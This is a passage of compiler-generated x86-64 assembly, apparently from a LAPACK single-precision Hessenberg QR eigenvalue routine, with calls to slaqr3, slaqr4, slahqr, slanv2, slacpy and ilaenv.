lea r12, [rdx+rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rbx, [rdx+rax]
mov rax, QWORD PTR -360[rbp]
lea r11, 4[rax]
mov rax, QWORD PTR -352[rbp]
lea r10, 4[rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -384[rbp]
lea r9, [rdx+rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r8, [rdx+rax]
lea rax, -284[rbp]
mov QWORD PTR -424[rbp], rax
mov r15, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
mov rsi, QWORD PTR -304[rbp]
mov rdi, QWORD PTR -296[rbp]
lea rax, c_n1[rip]
push rax
push r14
push QWORD PTR -344[rbp]
push r13
push QWORD PTR -312[rbp]
push QWORD PTR -344[rbp]
push r12
push QWORD PTR -312[rbp]
push QWORD PTR -344[rbp]
push rbx
push r11
push r10
lea rax, -252[rbp]
push rax
lea rax, -240[rbp]
push rax
push QWORD PTR -392[rbp]
push r9
push QWORD PTR -376[rbp]
push QWORD PTR -368[rbp]
push QWORD PTR -344[rbp]
push r8
mov r9, QWORD PTR -424[rbp]
mov r8, r15
call slaqr3_@PLT
add rsp, 160
mov edx, DWORD PTR -160[rbp]
mov eax, edx
add eax, eax
add eax, edx
mov edx, eax
shr edx, 31
add eax, edx
sar eax
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -400[rbp]
add rax, 4
movss xmm0, DWORD PTR [rax]
cvttss2si eax, xmm0
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovge eax, DWORD PTR -164[rbp]
mov DWORD PTR -188[rbp], eax
mov rax, QWORD PTR -408[rbp]
mov eax, DWORD PTR [rax]
cmp eax, -1
jne .L77
mov rax, QWORD PTR -400[rbp]
add rax, 4
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -188[rbp]
movss DWORD PTR [rax], xmm0
mov eax, 0
jmp .L154
.L77:
mov rsi, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
lea rax, -58[rbp]
sub rsp, 8
push 2
push 6
push QWORD PTR -408[rbp]
mov r9, rsi
mov r8, rcx
mov rcx, rdx
mov rdx, rax
lea rsi, .LC4[rip]
lea rdi, c__12[rip]
call ilaenv_@PLT
add rsp, 32
mov DWORD PTR -156[rbp], eax
mov eax, 15
cmp DWORD PTR -156[rbp], 15
cmovge eax, DWORD PTR -156[rbp]
mov DWORD PTR -156[rbp], eax
mov rsi, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
lea rax, -58[rbp]
sub rsp, 8
push 2
push 6
push QWORD PTR -408[rbp]
mov r9, rsi
mov r8, rcx
mov rcx, rdx
mov rdx, rax
lea rsi, .LC4[rip]
lea rdi, c__14[rip]
call ilaenv_@PLT
add rsp, 32
mov DWORD PTR -152[rbp], eax
mov eax, 0
cmp DWORD PTR -152[rbp], 0
cmovns eax, DWORD PTR -152[rbp]
mov DWORD PTR -152[rbp], eax
mov rsi, QWORD PTR -328[rbp]
mov rcx, QWORD PTR -320[rbp]
mov rdx, QWORD PTR -312[rbp]
lea rax, -58[rbp]
sub rsp, 8
push 2
push 6
push QWORD PTR -408[rbp]
mov r9, rsi
mov r8, rcx
mov rcx, rdx
mov rdx, rax
lea rsi, .LC4[rip]
lea rdi, c__16[rip]
call ilaenv_@PLT
add rsp, 32
mov DWORD PTR -272[rbp], eax
mov eax, DWORD PTR -272[rbp]
mov edx, 0
test eax, eax
cmovs eax, edx
mov DWORD PTR -272[rbp], eax
mov eax, DWORD PTR -272[rbp]
mov edx, 2
cmp eax, 2
cmovg eax, edx
mov DWORD PTR -272[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, 1
movsx rdx, eax
imul rdx, rdx, 1431655766
shr rdx, 32
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -408[rbp]
mov eax, DWORD PTR [rax]
mov edx, eax
shr edx, 31
add eax, edx
sar eax
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -148[rbp], eax
mov eax, DWORD PTR -148[rbp]
mov DWORD PTR -232[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, 3
movsx rdx, eax
imul rdx, rdx, 715827883
shr rdx, 32
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -284[rbp], eax
mov rax, QWORD PTR -408[rbp]
mov eax, DWORD PTR [rax]
add eax, eax
movsx rdx, eax
imul rdx, rdx, 1431655766
shr rdx, 32
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -144[rbp], eax
mov eax, DWORD PTR -144[rbp]
cdq
shr edx, 31
add eax, edx
and eax, 1
sub eax, edx
sub DWORD PTR -144[rbp], eax
mov DWORD PTR -212[rbp], 1
mov DWORD PTR -284[rbp], 10
mov rax, QWORD PTR -328[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -320[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
add eax, 1
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -164[rbp], eax
cmovge eax, DWORD PTR -164[rbp]
imul eax, eax, 30
mov DWORD PTR -140[rbp], eax
mov rax, QWORD PTR -328[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -280[rbp], eax
mov eax, DWORD PTR -140[rbp]
mov DWORD PTR -284[rbp], eax
mov DWORD PTR -200[rbp], 1
jmp .L78
.L153:
mov rax, QWORD PTR -320[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -280[rbp]
cmp edx, eax
jg .L182
mov rax, QWORD PTR -320[rbp]
mov eax, DWORD PTR [rax]
add eax, 1
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov DWORD PTR -204[rbp], eax
jmp .L81
.L85:
mov eax, DWORD PTR -204[rbp]
sub eax, 1
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -204[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jp .L82
pxor xmm1, xmm1
ucomiss xmm0, xmm1
je .L183
.L82:
sub DWORD PTR -204[rbp], 1
.L81:
mov eax, DWORD PTR -204[rbp]
cmp eax, DWORD PTR -164[rbp]
jge .L85
mov rax, QWORD PTR -320[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -204[rbp], eax
jmp .L84
.L183:
nop
.L84:
mov eax, DWORD PTR -204[rbp]
mov DWORD PTR -276[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -276[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -136[rbp], eax
mov eax, DWORD PTR -148[rbp]
cmp DWORD PTR -136[rbp], eax
cmovle eax, DWORD PTR -136[rbp]
mov DWORD PTR -132[rbp], eax
cmp DWORD PTR -212[rbp], 4
jg .L86
mov eax, DWORD PTR -168[rbp]
cmp DWORD PTR -132[rbp], eax
cmovle eax, DWORD PTR -132[rbp]
mov DWORD PTR -232[rbp], eax
jmp .L87
.L86:
mov eax, DWORD PTR -132[rbp]
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -232[rbp]
add eax, eax
mov DWORD PTR -128[rbp], eax
mov eax, DWORD PTR -128[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -232[rbp], eax
.L87:
mov eax, DWORD PTR -232[rbp]
cmp DWORD PTR -148[rbp], eax
jle .L88
mov eax, DWORD PTR -136[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -232[rbp]
cmp edx, eax
jg .L89
mov eax, DWORD PTR -136[rbp]
mov DWORD PTR -232[rbp], eax
jmp .L88
.L89:
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -232[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -124[rbp], eax
mov eax, DWORD PTR -124[rbp]
sub eax, 1
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -124[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -120[rbp], xmm0
mov eax, DWORD PTR -124[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -124[rbp]
sub eax, 2
imul eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -116[rbp], xmm0
movss xmm0, DWORD PTR -120[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L171
movss xmm0, DWORD PTR -120[rbp]
jmp .L92
.L171:
movss xmm0, DWORD PTR -120[rbp]
movss xmm1, DWORD PTR .LC5[rip]
xorps xmm0, xmm1
.L92:
movss xmm1, DWORD PTR -116[rbp]
pxor xmm2, xmm2
comiss xmm1, xmm2
jb .L172
movss xmm1, DWORD PTR -116[rbp]
jmp .L95
.L172:
movss xmm1, DWORD PTR -116[rbp]
movss xmm2, DWORD PTR .LC5[rip]
xorps xmm1, xmm2
.L95:
comiss xmm0, xmm1
jbe .L88
mov eax, DWORD PTR -232[rbp]
add eax, 1
mov DWORD PTR -232[rbp], eax
.L88:
cmp DWORD PTR -212[rbp], 4
jg .L97
mov DWORD PTR -216[rbp], -1
jmp .L98
.L97:
cmp DWORD PTR -216[rbp], 0
jns .L99
mov eax, DWORD PTR -232[rbp]
cmp DWORD PTR -132[rbp], eax
jg .L98
.L99:
add DWORD PTR -216[rbp], 1
mov eax, DWORD PTR -232[rbp]
sub eax, DWORD PTR -216[rbp]
cmp eax, 1
jg .L100
mov DWORD PTR -216[rbp], 0
.L100:
mov eax, DWORD PTR -232[rbp]
sub eax, DWORD PTR -216[rbp]
mov DWORD PTR -232[rbp], eax
.L98:
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -232[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -112[rbp], eax
mov eax, DWORD PTR -232[rbp]
add eax, 1
mov DWORD PTR -108[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -232[rbp]
sub eax, edx
sub eax, 1
sub eax, DWORD PTR -108[rbp]
add eax, 1
mov DWORD PTR -224[rbp], eax
mov eax, DWORD PTR -232[rbp]
add eax, 2
mov DWORD PTR -104[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -232[rbp]
sub eax, edx
sub eax, DWORD PTR -104[rbp]
add eax, 1
mov DWORD PTR -220[rbp], eax
mov rax, QWORD PTR -400[rbp]
lea r13, 4[rax]
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rdi, [rdx+rax]
mov eax, DWORD PTR -108[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -112[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r12, [rdx+rax]
mov edx, DWORD PTR -112[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rbx, [rdx+rax]
mov rax, QWORD PTR -360[rbp]
lea r11, 4[rax]
mov rax, QWORD PTR -352[rbp]
lea r10, 4[rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -384[rbp]
lea r9, [rdx+rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r8, [rdx+rax]
lea r15, -232[rbp]
lea r14, -280[rbp]
lea rcx, -276[rbp]
mov rdx, QWORD PTR -312[rbp]
mov rsi, QWORD PTR -304[rbp]
mov rax, QWORD PTR -296[rbp]
push QWORD PTR -408[rbp]
push r13
push QWORD PTR -344[rbp]
push rdi
lea rdi, -220[rbp]
push rdi
push QWORD PTR -344[rbp]
push r12
lea rdi, -224[rbp]
push rdi
push QWORD PTR -344[rbp]
push rbx
push r11
push r10
lea rdi, -252[rbp]
push rdi
lea rdi, -240[rbp]
push rdi
push QWORD PTR -392[rbp]
push r9
push QWORD PTR -376[rbp]
push QWORD PTR -368[rbp]
push QWORD PTR -344[rbp]
push r8
mov r9, r15
mov r8, r14
mov rdi, rax
call slaqr3_@PLT
add rsp, 160
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -252[rbp]
sub eax, edx
mov DWORD PTR -280[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -240[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -196[rbp], eax
mov eax, DWORD PTR -252[rbp]
test eax, eax
je .L101
mov eax, DWORD PTR -252[rbp]
imul edx, eax, 100
mov eax, DWORD PTR -232[rbp]
imul eax, DWORD PTR -152[rbp]
cmp edx, eax
jg .L102
mov eax, DWORD PTR -280[rbp]
mov ecx, DWORD PTR -276[rbp]
sub eax, ecx
mov edx, eax
mov eax, DWORD PTR -148[rbp]
cmp DWORD PTR -156[rbp], eax
cmovle eax, DWORD PTR -156[rbp]
cmp edx, eax
jl .L102
.L101:
mov DWORD PTR -100[rbp], 2
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -276[rbp]
sub eax, edx
mov DWORD PTR -96[rbp], eax
mov eax, DWORD PTR -160[rbp]
cmp DWORD PTR -144[rbp], eax
cmovle eax, DWORD PTR -144[rbp]
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -96[rbp]
cmp DWORD PTR -100[rbp], eax
cmovge eax, DWORD PTR -100[rbp]
mov DWORD PTR -128[rbp], eax
mov eax, DWORD PTR -128[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -236[rbp], eax
mov edx, DWORD PTR -236[rbp]
mov eax, DWORD PTR -236[rbp]
mov ecx, eax
sar ecx, 31
shr ecx, 31
add eax, ecx
and eax, 1
sub eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -236[rbp], eax
mov ecx, DWORD PTR -212[rbp]
movsx rax, ecx
imul rax, rax, 715827883
shr rax, 32
mov esi, ecx
sar esi, 31
mov edx, eax
sub edx, esi
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
test edx, edx
jne .L103
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -236[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -196[rbp], eax
mov eax, DWORD PTR -196[rbp]
add eax, 1
mov DWORD PTR -128[rbp], eax
mov eax, DWORD PTR -276[rbp]
add eax, 2
mov DWORD PTR -100[rbp], eax
mov eax, DWORD PTR -100[rbp]
cmp DWORD PTR -128[rbp], eax
cmovge eax, DWORD PTR -128[rbp]
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov DWORD PTR -208[rbp], eax
jmp .L104
.L111:
mov eax, DWORD PTR -208[rbp]
sub eax, 1
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -208[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -120[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -208[rbp]
sub eax, 2
imul eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -116[rbp], xmm0
movss xmm0, DWORD PTR -120[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L173
movss xmm1, DWORD PTR -120[rbp]
jmp .L107
.L173:
movss xmm0, DWORD PTR -120[rbp]
movss xmm1, DWORD PTR .LC5[rip]
xorps xmm1, xmm0
.L107:
movss xmm0, DWORD PTR -116[rbp]
pxor xmm2, xmm2
comiss xmm0, xmm2
jb .L174
movss xmm0, DWORD PTR -116[rbp]
jmp .L110
.L174:
movss xmm0, DWORD PTR -116[rbp]
movss xmm2, DWORD PTR .LC5[rip]
xorps xmm0, xmm2
.L110:
addss xmm0, xmm1
movss DWORD PTR -80[rbp], xmm0
movss xmm1, DWORD PTR -80[rbp]
movss xmm0, DWORD PTR .LC6[rip]
mulss xmm1, xmm0
mov eax, DWORD PTR -208[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -208[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
addss xmm0, xmm1
movss DWORD PTR -268[rbp], xmm0
movss xmm0, DWORD PTR -80[rbp]
movss DWORD PTR -264[rbp], xmm0
movss xmm1, DWORD PTR -80[rbp]
movss xmm0, DWORD PTR .LC7[rip]
mulss xmm0, xmm1
movss DWORD PTR -260[rbp], xmm0
movss xmm0, DWORD PTR -268[rbp]
movss DWORD PTR -256[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
lea r9, [rdx+rax]
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
lea r8, [rdx+rax]
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -360[rbp]
lea r11, [rdx+rax]
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -352[rbp]
lea r10, [rdx+rax]
lea rcx, -256[rbp]
lea rdx, -260[rbp]
lea rsi, -264[rbp]
lea rax, -268[rbp]
lea rdi, -244[rbp]
push rdi
lea rdi, -248[rbp]
push rdi
push r9
push r8
mov r9, r11
mov r8, r10
mov rdi, rax
call slanv2_@PLT
add rsp, 32
sub DWORD PTR -208[rbp], 2
.L104:
mov eax, DWORD PTR -208[rbp]
cmp eax, DWORD PTR -164[rbp]
jge .L111
mov eax, DWORD PTR -276[rbp]
cmp DWORD PTR -196[rbp], eax
jne .L112
mov eax, DWORD PTR -196[rbp]
lea edx, 1[rax]
mov eax, DWORD PTR -196[rbp]
add eax, 1
imul eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rdx, rax
mov eax, DWORD PTR -196[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -196[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
pxor xmm0, xmm0
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -196[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -196[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -196[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rdx, rax
mov eax, DWORD PTR -196[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
jmp .L112
.L103:
mov eax, DWORD PTR -280[rbp]
sub eax, DWORD PTR -196[rbp]
mov edx, eax
mov eax, DWORD PTR -236[rbp]
mov ecx, eax
shr ecx, 31
add eax, ecx
sar eax
cmp edx, eax
jge .L113
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -236[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -196[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -236[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -108[rbp], eax
mov edx, DWORD PTR -108[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rdi, [rdx+rax]
mov eax, DWORD PTR -196[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -196[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rcx, [rdx+rax]
mov rsi, QWORD PTR -344[rbp]
lea rdx, -236[rbp]
lea rax, -236[rbp]
sub rsp, 8
push QWORD PTR -344[rbp]
mov r9, rdi
mov r8, rsi
mov rsi, rax
lea rdi, .LC8[rip]
call slacpy_@PLT
add rsp, 16
mov eax, DWORD PTR -236[rbp]
cmp DWORD PTR -156[rbp], eax
jge .L114
mov rax, QWORD PTR -400[rbp]
lea rdi, 4[rax]
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -108[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r9, [rdx+rax]
lea r8, -236[rbp]
lea rax, -236[rbp]
lea rdx, -228[rbp]
push rdx
push QWORD PTR -408[rbp]
push rdi
lea rdx, c__1[rip]
push rdx
lea rdx, -64[rbp]
push rdx
lea rdx, c__1[rip]
push rdx
lea rdx, c__1[rip]
push rdx
push rsi
push rcx
push QWORD PTR -344[rbp]
lea rcx, c__1[rip]
mov rdx, rax
lea rsi, c_false[rip]
lea rdi, c_false[rip]
call slaqr4_@PLT
add rsp, 80
jmp .L115
.L114:
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
lea rcx, [rdx+rax]
mov edx, DWORD PTR -108[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r8, [rdx+rax]
lea rdi, -236[rbp]
lea rax, -236[rbp]
lea rdx, -228[rbp]
push rdx
lea rdx, c__1[rip]
push rdx
lea rdx, -64[rbp]
push rdx
lea rdx, c__1[rip]
push rdx
lea rdx, c__1[rip]
push rdx
push rsi
push rcx
push QWORD PTR -344[rbp]
mov r9, r8
mov r8, rdi
lea rcx, c__1[rip]
mov rdx, rax
lea rsi, c_false[rip]
lea rdi, c_false[rip]
call slahqr_@PLT
add rsp, 64
.L115:
mov eax, DWORD PTR -228[rbp]
add DWORD PTR -196[rbp], eax
mov eax, DWORD PTR -280[rbp]
cmp DWORD PTR -196[rbp], eax
jl .L113
mov eax, DWORD PTR -280[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -280[rbp]
sub eax, 1
imul eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -268[rbp], xmm0
mov eax, DWORD PTR -280[rbp]
sub eax, 1
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -280[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -260[rbp], xmm0
mov eax, DWORD PTR -280[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -280[rbp]
imul eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -264[rbp], xmm0
mov eax, DWORD PTR -280[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -280[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -256[rbp], xmm0
mov eax, DWORD PTR -280[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
lea r9, [rdx+rax]
mov eax, DWORD PTR -280[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
lea r8, [rdx+rax]
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -360[rbp]
lea r11, [rdx+rax]
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -352[rbp]
lea r10, [rdx+rax]
lea rcx, -256[rbp]
lea rdx, -260[rbp]
lea rsi, -264[rbp]
lea rax, -268[rbp]
lea rdi, -244[rbp]
push rdi
lea rdi, -248[rbp]
push rdi
push r9
push r8
mov r9, r11
mov r8, r10
mov rdi, rax
call slanv2_@PLT
add rsp, 32
mov eax, DWORD PTR -280[rbp]
sub eax, 1
mov DWORD PTR -196[rbp], eax
.L113:
mov eax, DWORD PTR -280[rbp]
sub eax, DWORD PTR -196[rbp]
mov edx, eax
mov eax, DWORD PTR -236[rbp]
cmp edx, eax
jl .L116
mov DWORD PTR -192[rbp], 0
mov eax, DWORD PTR -196[rbp]
add eax, 1
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov DWORD PTR -204[rbp], eax
jmp .L117
.L136:
cmp DWORD PTR -192[rbp], 0
jne .L184
mov DWORD PTR -192[rbp], 1
mov eax, DWORD PTR -204[rbp]
sub eax, 1
mov DWORD PTR -128[rbp], eax
mov eax, DWORD PTR -196[rbp]
mov DWORD PTR -208[rbp], eax
jmp .L120
.L135:
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -120[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -116[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -92[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -88[rbp], xmm0
movss xmm0, DWORD PTR -120[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L175
movss xmm1, DWORD PTR -120[rbp]
jmp .L123
.L175:
movss xmm0, DWORD PTR -120[rbp]
movss xmm1, DWORD PTR .LC5[rip]
xorps xmm1, xmm0
.L123:
movss xmm0, DWORD PTR -116[rbp]
pxor xmm2, xmm2
comiss xmm0, xmm2
jb .L176
movss xmm0, DWORD PTR -116[rbp]
jmp .L126
.L176:
movss xmm0, DWORD PTR -116[rbp]
movss xmm2, DWORD PTR .LC5[rip]
xorps xmm0, xmm2
.L126:
movaps xmm2, xmm1
addss xmm2, xmm0
movss xmm0, DWORD PTR -92[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L177
movss xmm1, DWORD PTR -92[rbp]
jmp .L129
.L177:
movss xmm0, DWORD PTR -92[rbp]
movss xmm1, DWORD PTR .LC5[rip]
xorps xmm1, xmm0
.L129:
movss xmm0, DWORD PTR -88[rbp]
pxor xmm3, xmm3
comiss xmm0, xmm3
jb .L178
movss xmm0, DWORD PTR -88[rbp]
jmp .L132
.L178:
movss xmm0, DWORD PTR -88[rbp]
movss xmm3, DWORD PTR .LC5[rip]
xorps xmm0, xmm3
.L132:
